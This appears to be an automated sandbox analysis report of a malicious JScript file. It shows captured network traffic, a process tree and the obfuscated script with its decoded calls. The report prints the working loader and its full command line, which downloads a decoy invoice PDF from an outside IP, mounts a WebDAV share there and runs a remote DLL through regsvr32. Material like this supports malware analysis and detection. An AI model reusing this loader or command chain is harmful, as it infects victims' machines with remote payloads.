Jan 10, 2025 15:01:23.134628057 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 15:01:23.134639025 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 15:01:23.134736061 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 15:01:23.134747028 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 15:01:23.134757996 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 15:01:23.134768963 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 15:01:23.139754057 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	5872	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:01:24.806782007 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 15:01:25.632149935 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js"
Imagebase:	0x7ff79d3e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll
Imagebase:	0x7ff626490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff626490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77f770000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,2960516185180761318,10933091778614446208,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function iytjh() {	iytjh() ➔ undefined
1	qvoltgjw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rhatzbppt = this[yghhz + vokxvlmrt + clmogh + avvhchkjl + sdqbmflkk + cetexbp + pqgnjtq + hhpthp] ( this[hcxeyfiqu + zbaqfqkc + gzruthw + clmogh + okpxfcouq + yghhz + hhpthp][mlpuqkz + clmogh + sdqbmflkk + vokxvlmrt + hhpthp + sdqbmflkk + ejrhqlw + oregpkwxn + ruudpmtt + sdqbmflkk + gzruthw + hhpthp] ( hcxeyfiqu + zbaqfqkc + gzruthw + clmogh + okpxfcouq + yghhz + hhpthp + cojhv + zbaqfqkc + qydqp + sdqbmflkk + ndgntcf + ndgntcf ) [piaucdogb + sdqbmflkk + buuzx + piaucdogb + sdqbmflkk + vokxvlmrt + xdtie] ( ittswca + phmvwuwx + zkgztmi + lgule + ttsmrrk + mlpuqkz + vufbvyqtj + piaucdogb + piaucdogb + zkgztmi + necemsgkz + jhoeemlc + ttsmrrk + vufbvyqtj + zbaqfqkc + zkgztmi + piaucdogb + qjoarg + mlpuqkz + gisdfw + pqgnjtq + hhpthp + clmogh + gisdfw + ndgntcf + mybljhhl + ikiwrfgpp + vokxvlmrt + pqgnjtq + sdqbmflkk + ndgntcf + qjoarg + cetexbp + pqgnjtq + hhpthp + sdqbmflkk + clmogh + pqgnjtq + vokxvlmrt + hhpthp + okpxfcouq + gisdfw + pqgnjtq + vokxvlmrt + ndgntcf + qjoarg + veudck + gisdfw + gzruthw + vokxvlmrt + ndgntcf + sdqbmflkk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( isxrwxljm = 0 ; isxrwxljm < qvoltgjw[ndgntcf + sdqbmflkk + pqgnjtq + buuzx + hhpthp + qydqp] ; ++ isxrwxljm )
4	{
5	if ( rhatzbppt == qvoltgjw[isxrwxljm] )
6	{
7	rhatzbppt = true;
8	break ;
9	}
10	}
11	if ( rhatzbppt !== true )
12	this[hcxeyfiqu + zbaqfqkc + gzruthw + clmogh + okpxfcouq + yghhz + hhpthp][bmqjh + ipsgqk + okpxfcouq + hhpthp] ( );
13	this[hcxeyfiqu + zbaqfqkc + gzruthw + clmogh + okpxfcouq + yghhz + hhpthp][mlpuqkz + clmogh + sdqbmflkk + vokxvlmrt + hhpthp + sdqbmflkk + ejrhqlw + oregpkwxn + ruudpmtt + sdqbmflkk + gzruthw + hhpthp] ( hcxeyfiqu + zbaqfqkc + gzruthw + clmogh + okpxfcouq + yghhz + hhpthp + cojhv + zbaqfqkc + qydqp + sdqbmflkk + ndgntcf + ndgntcf ) [clmogh + ipsgqk + pqgnjtq] ( gzruthw + oxaacf + xdtie + mybljhhl + tqvhwpbi + gzruthw + mybljhhl + yghhz + gisdfw + qbpkc + sdqbmflkk + clmogh + avvhchkjl + qydqp + sdqbmflkk + ndgntcf + ndgntcf + cojhv + sdqbmflkk + aidpr + sdqbmflkk + mybljhhl + dtwwsvgeq + mlpuqkz + gisdfw + oxaacf + oxaacf + vokxvlmrt + pqgnjtq + xdtie + mybljhhl + fseubb + cetexbp + pqgnjtq + ndubig + gisdfw + bvxfrn + sdqbmflkk + dtwwsvgeq + hcxeyfiqu + sdqbmflkk + oregpkwxn + piaucdogb + sdqbmflkk + fstqcxqd + ipsgqk + sdqbmflkk + avvhchkjl + hhpthp + mybljhhl + dtwwsvgeq + ejrhqlw + ipsgqk + hhpthp + scswa + okpxfcouq + ndgntcf + sdqbmflkk + mybljhhl + gpbekvkbq + hhpthp + sdqbmflkk + oxaacf + yghhz + gpbekvkbq + qjoarg + okpxfcouq + pqgnjtq + ndubig + gisdfw + okpxfcouq + gzruthw + sdqbmflkk + cojhv + yghhz + xdtie + xrday + mybljhhl + qydqp + hhpthp + hhpthp + yghhz + ohbqnji + tqvhwpbi + tqvhwpbi + buakhk + bubraqa + qjvzp + cojhv + buakhk + rwcwbm + qjvzp + cojhv + buakhk + cojhv + gjckn + zdusmod + yfvgordqz + tqvhwpbi + okpxfcouq + pqgnjtq + ndubig + gisdfw + okpxfcouq + gzruthw + sdqbmflkk + cojhv + yghhz + qydqp + yghhz + fseubb + hytlv + hytlv + avvhchkjl + hhpthp + vokxvlmrt + clmogh + hhpthp + mybljhhl + gpbekvkbq + hhpthp + sdqbmflkk + oxaacf + yghhz + gpbekvkbq + qjoarg + okpxfcouq + pqgnjtq + ndubig + gisdfw + okpxfcouq + gzruthw + sdqbmflkk + cojhv + yghhz + xdtie + xrday + hytlv + hytlv + gzruthw + oxaacf + xdtie + mybljhhl + tqvhwpbi + gzruthw + mybljhhl + pqgnjtq + sdqbmflkk + hhpthp + mybljhhl + ipsgqk + avvhchkjl + sdqbmflkk + mybljhhl + qjoarg + qjoarg + buakhk + bubraqa + qjvzp + cojhv + buakhk + rwcwbm + qjvzp + cojhv + buakhk + cojhv + gjckn + zdusmod + yfvgordqz + ytczfndyb + vfyxqmyq + vfyxqmyq + vfyxqmyq + vfyxqmyq + qjoarg + xdtie + vokxvlmrt + ndubig + qbpkc + qbpkc + qbpkc + clmogh + gisdfw + gisdfw + hhpthp + qjoarg + hytlv + hytlv + gzruthw + oxaacf + xdtie + mybljhhl + tqvhwpbi + gzruthw + mybljhhl + clmogh + sdqbmflkk + buuzx + avvhchkjl + ndubig + clmogh + qjvzp + gjckn + mybljhhl + tqvhwpbi + avvhchkjl + mybljhhl + qjoarg + qjoarg + buakhk + bubraqa + qjvzp + cojhv + buakhk + rwcwbm + qjvzp + cojhv + buakhk + cojhv + gjckn + zdusmod + yfvgordqz + ytczfndyb + vfyxqmyq + vfyxqmyq + vfyxqmyq + vfyxqmyq + qjoarg + xdtie + vokxvlmrt + ndubig + qbpkc + qbpkc + qbpkc + clmogh + gisdfw + gisdfw + hhpthp + qjoarg + buakhk + yfvgordqz + qjvzp + vfyxqmyq + buakhk + gjckn + qjvzp + vfyxqmyq + gjckn + buakhk + zdusmod + zdusmod + yfvgordqz + rwcwbm + cojhv + xdtie + ndgntcf + ndgntcf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll",0,false) ➔ 0
14	}
15	fstqcxqd = "N";
16	fstqcxqd = "x";
17	fstqcxqd = "K";
18	fstqcxqd = "c";
19	fstqcxqd = "Z";
20	fstqcxqd = "D";
21	fstqcxqd = "T";
22	fstqcxqd = "L";
23	fstqcxqd = "t";
24	fstqcxqd = "L";
25	fstqcxqd = "t";
26	fstqcxqd = "T";
27	fstqcxqd = "q";
28	fstqcxqd = "D";
29	fstqcxqd = "Z";
30	fstqcxqd = "G";
31	fstqcxqd = "P";
32	fstqcxqd = "G";
33	fstqcxqd = "d";
34	fstqcxqd = "K";
35	fstqcxqd = "T";
36	fstqcxqd = "O";
37	fstqcxqd = "F";
38	fstqcxqd = "I";
39	fstqcxqd = "C";
40	fstqcxqd = "y";
41	fstqcxqd = "s";
42	fstqcxqd = "P";
43	fstqcxqd = "l";
44	fstqcxqd = "Q";
45	fstqcxqd = "h";
46	fstqcxqd = "W";
47	fstqcxqd = "a";
48	fstqcxqd = "m";
49	fstqcxqd = "N";
50	fstqcxqd = "P";
51	fstqcxqd = "L";
52	fstqcxqd = "z";
53	fstqcxqd = "J";
54	fstqcxqd = "i";
55	fstqcxqd = "j";
56	fstqcxqd = "A";
57	fstqcxqd = "e";
58	fstqcxqd = "Q";
59	fstqcxqd = "q";
60	lgule = "k";
61	lgule = "a";
62	lgule = "G";
63	lgule = "V";
64	lgule = "Y";
65	lgule = "K";
66	lgule = "O";
67	lgule = "Y";
68	lgule = "f";
69	lgule = "T";
70	lgule = "k";
71	lgule = "p";
72	lgule = "X";
73	lgule = "m";
74	lgule = "b";
75	lgule = "m";
76	lgule = "T";
77	lgule = "s";
78	lgule = "N";
79	lgule = "G";
80	lgule = "s";
81	lgule = "m";
82	lgule = "G";
83	lgule = "t";
84	lgule = "H";
85	lgule = "y";
86	lgule = "Z";
87	lgule = "O";
88	lgule = "r";
89	lgule = "B";
90	lgule = "y";
91	lgule = "J";
92	lgule = "u";
93	lgule = "U";
94	lgule = "S";
95	lgule = "W";
96	lgule = "K";
97	lgule = "e";
98	lgule = "B";
99	lgule = "Y";
100	gisdfw = "h";
101	gisdfw = "C";
102	gisdfw = "C";
103	gisdfw = "X";
104	gisdfw = "q";
105	gisdfw = "W";
106	gisdfw = "R";
107	gisdfw = "D";
108	gisdfw = "K";
109	gisdfw = "b";
110	gisdfw = "b";
111	gisdfw = "D";
112	gisdfw = "h";
113	gisdfw = "i";
114	gisdfw = "u";
115	gisdfw = "g";
116	gisdfw = "H";
117	gisdfw = "B";
118	gisdfw = "t";
119	gisdfw = "R";
120	gisdfw = "d";
121	gisdfw = "G";
122	gisdfw = "B";
123	gisdfw = "W";
124	gisdfw = "i";
125	gisdfw = "B";
126	gisdfw = "Y";
127	gisdfw = "q";
128	gisdfw = "E";
129	gisdfw = "K";
130	gisdfw = "E";
131	gisdfw = "V";
132	gisdfw = "f";
133	gisdfw = "A";
134	gisdfw = "K";
135	gisdfw = "h";
136	gisdfw = "V";
137	gisdfw = "c";
138	gisdfw = "H";
139	gisdfw = "H";
140	gisdfw = "o";
141	gisdfw = "C";
142	gisdfw = "Z";
143	gisdfw = "o";
144	bubraqa = "f";
145	bubraqa = "d";
146	bubraqa = "b";
147	bubraqa = "x";
148	bubraqa = "d";
149	bubraqa = "H";
150	bubraqa = "Q";
151	bubraqa = "F";
152	bubraqa = "C";
153	bubraqa = "X";
154	bubraqa = "S";
155	bubraqa = "x";
156	bubraqa = "o";
157	bubraqa = "h";
158	bubraqa = "s";
159	bubraqa = "e";
160	bubraqa = "k";
161	bubraqa = "f";
162	bubraqa = "j";
163	bubraqa = "Q";
164	bubraqa = "R";
165	bubraqa = "T";
166	bubraqa = "9";
167	xdtie = "O";
168	xdtie = "H";
169	xdtie = "L";
170	xdtie = "j";
171	xdtie = "X";
172	xdtie = "Z";
173	xdtie = "J";
174	xdtie = "t";
175	xdtie = "q";
176	xdtie = "r";
177	xdtie = "H";
178	xdtie = "R";
179	xdtie = "g";
180	xdtie = "W";
181	xdtie = "P";
182	xdtie = "d";
183	xdtie = "u";
184	xdtie = "y";
185	xdtie = "e";
186	xdtie = "W";
187	xdtie = "g";
188	xdtie = "J";
189	xdtie = "i";
190	xdtie = "v";
191	xdtie = "m";
192	xdtie = "t";
193	xdtie = "W";
194	xdtie = "x";
195	xdtie = "B";
196	xdtie = "V";
197	xdtie = "B";
198	xdtie = "m";
199	xdtie = "d";
200	veudck = "T";
201	veudck = "M";
202	veudck = "U";
203	veudck = "Z";
204	veudck = "Q";
205	veudck = "z";
206	veudck = "X";
207	veudck = "p";
208	veudck = "m";
209	veudck = "E";
210	veudck = "z";
211	veudck = "C";
212	veudck = "Y";
213	veudck = "L";
214	veudck = "Q";
215	veudck = "B";
216	veudck = "M";
217	veudck = "p";
218	veudck = "j";
219	veudck = "c";
220	veudck = "Y";
221	veudck = "r";
222	veudck = "z";
223	veudck = "u";
224	veudck = "q";
225	veudck = "L";
226	veudck = "L";
227	xrday = "C";
228	xrday = "i";
229	xrday = "y";
230	xrday = "Y";
231	xrday = "r";
232	xrday = "v";
233	xrday = "x";
234	xrday = "K";
235	xrday = "X";
236	xrday = "r";
237	xrday = "Z";
238	xrday = "A";
239	xrday = "K";
240	xrday = "d";
241	xrday = "M";
242	xrday = "l";
243	xrday = "P";
244	xrday = "v";
245	xrday = "U";
246	xrday = "D";
247	xrday = "p";
248	xrday = "Y";
249	xrday = "L";
250	xrday = "n";
251	xrday = "t";
252	xrday = "V";
253	xrday = "R";
254	xrday = "M";
255	xrday = "l";
256	xrday = "d";
257	xrday = "e";
258	xrday = "A";
259	xrday = "U";
260	xrday = "q";
261	xrday = "q";
262	xrday = "A";
263	xrday = "L";
264	xrday = "X";
265	xrday = "P";
266	xrday = "X";
267	xrday = "S";
268	xrday = "B";
269	xrday = "G";
270	xrday = "f";
271	scswa = "d";
272	scswa = "n";
273	scswa = "M";
274	scswa = "n";
275	scswa = "d";
276	scswa = "i";
277	scswa = "c";
278	scswa = "O";
279	scswa = "z";
280	scswa = "N";
281	scswa = "V";
282	scswa = "c";
283	scswa = "e";
284	scswa = "j";
285	scswa = "J";
286	scswa = "R";
287	scswa = "H";
288	scswa = "n";
289	scswa = "P";
290	scswa = "M";
291	scswa = "n";
292	scswa = "K";
293	scswa = "r";
294	scswa = "c";
295	scswa = "F";
296	ohbqnji = "p";
297	ohbqnji = "X";
298	ohbqnji = "s";
299	ohbqnji = "L";
300	ohbqnji = "T";
301	ohbqnji = "w";
302	ohbqnji = "U";
303	ohbqnji = "D";
304	ohbqnji = "l";
305	ohbqnji = "U";
306	ohbqnji = "X";
307	ohbqnji = "u";
308	ohbqnji = "W";
309	ohbqnji = "X";
310	ohbqnji = "T";
311	ohbqnji = ":";
312	ikiwrfgpp = "T";
313	ikiwrfgpp = "E";
314	ikiwrfgpp = "H";
315	ikiwrfgpp = "r";
316	ikiwrfgpp = "P";
317	ejrhqlw = "R";
318	ejrhqlw = "A";
319	ejrhqlw = "j";
320	ejrhqlw = "m";
321	ejrhqlw = "O";
322	gzruthw = "M";
323	gzruthw = "C";
324	gzruthw = "Z";
325	gzruthw = "D";
326	gzruthw = "t";
327	gzruthw = "j";
328	gzruthw = "I";
329	gzruthw = "d";
330	gzruthw = "Z";
331	gzruthw = "J";
332	gzruthw = "i";
333	gzruthw = "H";
334	gzruthw = "s";
335	gzruthw = "j";
336	gzruthw = "H";
337	gzruthw = "g";
338	gzruthw = "V";
339	gzruthw = "F";
340	gzruthw = "q";
341	gzruthw = "U";
342	gzruthw = "x";
343	gzruthw = "O";
344	gzruthw = "r";
345	gzruthw = "i";
346	gzruthw = "r";
347	gzruthw = "n";
348	gzruthw = "x";
349	gzruthw = "u";
350	gzruthw = "y";
351	gzruthw = "O";
352	gzruthw = "g";
353	gzruthw = "K";
354	gzruthw = "A";
355	gzruthw = "L";
356	gzruthw = "e";
357	gzruthw = "N";
358	gzruthw = "W";
359	gzruthw = "F";
360	gzruthw = "X";
361	gzruthw = "V";
362	gzruthw = "U";
363	gzruthw = "c";
364	gpbekvkbq = "F";
365	gpbekvkbq = "V";
366	gpbekvkbq = "E";
367	gpbekvkbq = "%";
368	qbpkc = "j";
369	qbpkc = "U";
370	qbpkc = "J";
371	qbpkc = "t";
372	qbpkc = "z";
373	qbpkc = "N";
374	qbpkc = "D";
375	qbpkc = "a";
376	qbpkc = "Y";
377	qbpkc = "w";
378	qbpkc = "C";
379	qbpkc = "p";
380	qbpkc = "p";
381	qbpkc = "M";
382	qbpkc = "P";
383	qbpkc = "O";
384	qbpkc = "n";
385	qbpkc = "D";
386	qbpkc = "Q";
387	qbpkc = "a";
388	qbpkc = "F";
389	qbpkc = "X";
390	qbpkc = "h";
391	qbpkc = "B";
392	qbpkc = "Y";
393	qbpkc = "r";
394	qbpkc = "D";
395	qbpkc = "j";
396	qbpkc = "I";
397	qbpkc = "A";
398	qbpkc = "n";
399	qbpkc = "r";
400	qbpkc = "f";
401	qbpkc = "r";
402	qbpkc = "I";
403	qbpkc = "J";
404	qbpkc = "x";
405	qbpkc = "U";
406	qbpkc = "C";
407	qbpkc = "K";
408	qbpkc = "k";
409	qbpkc = "w";
410	ytczfndyb = "v";
411	ytczfndyb = "x";
412	ytczfndyb = "d";
413	ytczfndyb = "T";
414	ytczfndyb = "I";
415	ytczfndyb = "B";
416	ytczfndyb = "g";
417	ytczfndyb = "G";
418	ytczfndyb = "Z";
419	ytczfndyb = "@";
420	hcxeyfiqu = "N";
421	hcxeyfiqu = "u";
422	hcxeyfiqu = "A";
423	hcxeyfiqu = "q";
424	hcxeyfiqu = "x";
425	hcxeyfiqu = "k";
426	hcxeyfiqu = "x";
427	hcxeyfiqu = "i";
428	hcxeyfiqu = "P";
429	hcxeyfiqu = "w";
430	hcxeyfiqu = "f";
431	hcxeyfiqu = "G";
432	hcxeyfiqu = "I";
433	hcxeyfiqu = "N";
434	hcxeyfiqu = "L";
435	hcxeyfiqu = "l";
436	hcxeyfiqu = "K";
437	hcxeyfiqu = "L";
438	hcxeyfiqu = "L";
439	hcxeyfiqu = "e";
440	hcxeyfiqu = "p";
441	hcxeyfiqu = "R";
442	hcxeyfiqu = "m";
443	hcxeyfiqu = "o";
444	hcxeyfiqu = "N";
445	hcxeyfiqu = "p";
446	hcxeyfiqu = "N";
447	hcxeyfiqu = "t";
448	hcxeyfiqu = "B";
449	hcxeyfiqu = "R";
450	hcxeyfiqu = "q";
451	hcxeyfiqu = "g";
452	hcxeyfiqu = "E";
453	hcxeyfiqu = "m";
454	hcxeyfiqu = "W";
455	bvxfrn = "S";
456	bvxfrn = "G";
457	bvxfrn = "q";
458	bvxfrn = "v";
459	bvxfrn = "Y";
460	bvxfrn = "p";
461	bvxfrn = "s";
462	bvxfrn = "k";
463	bvxfrn = "s";
464	bvxfrn = "x";
465	bvxfrn = "Y";
466	bvxfrn = "J";
467	bvxfrn = "F";
468	bvxfrn = "z";
469	bvxfrn = "V";
470	bvxfrn = "R";
471	bvxfrn = "A";
472	bvxfrn = "e";
473	bvxfrn = "t";
474	bvxfrn = "z";
475	bvxfrn = "D";
476	bvxfrn = "g";
477	bvxfrn = "g";
478	bvxfrn = "h";
479	bvxfrn = "I";
480	bvxfrn = "k";
481	qjvzp = "x";
482	qjvzp = "V";
483	qjvzp = "X";
484	qjvzp = "j";
485	qjvzp = "3";
486	oxaacf = "q";
487	oxaacf = "S";
488	oxaacf = "S";
489	oxaacf = "Q";
490	oxaacf = "f";
491	oxaacf = "p";
492	oxaacf = "B";
493	oxaacf = "p";
494	oxaacf = "m";
495	oxaacf = "B";
496	oxaacf = "d";
497	oxaacf = "J";
498	oxaacf = "W";
499	oxaacf = "N";
500	oxaacf = "s";
501	oxaacf = "y";
502	oxaacf = "Z";
503	oxaacf = "L";
504	oxaacf = "P";
505	oxaacf = "e";
506	oxaacf = "P";
507	oxaacf = "f";
508	oxaacf = "Y";
509	oxaacf = "Y";
510	oxaacf = "z";
511	oxaacf = "o";
512	oxaacf = "h";
513	oxaacf = "w";
514	oxaacf = "K";
515	oxaacf = "S";
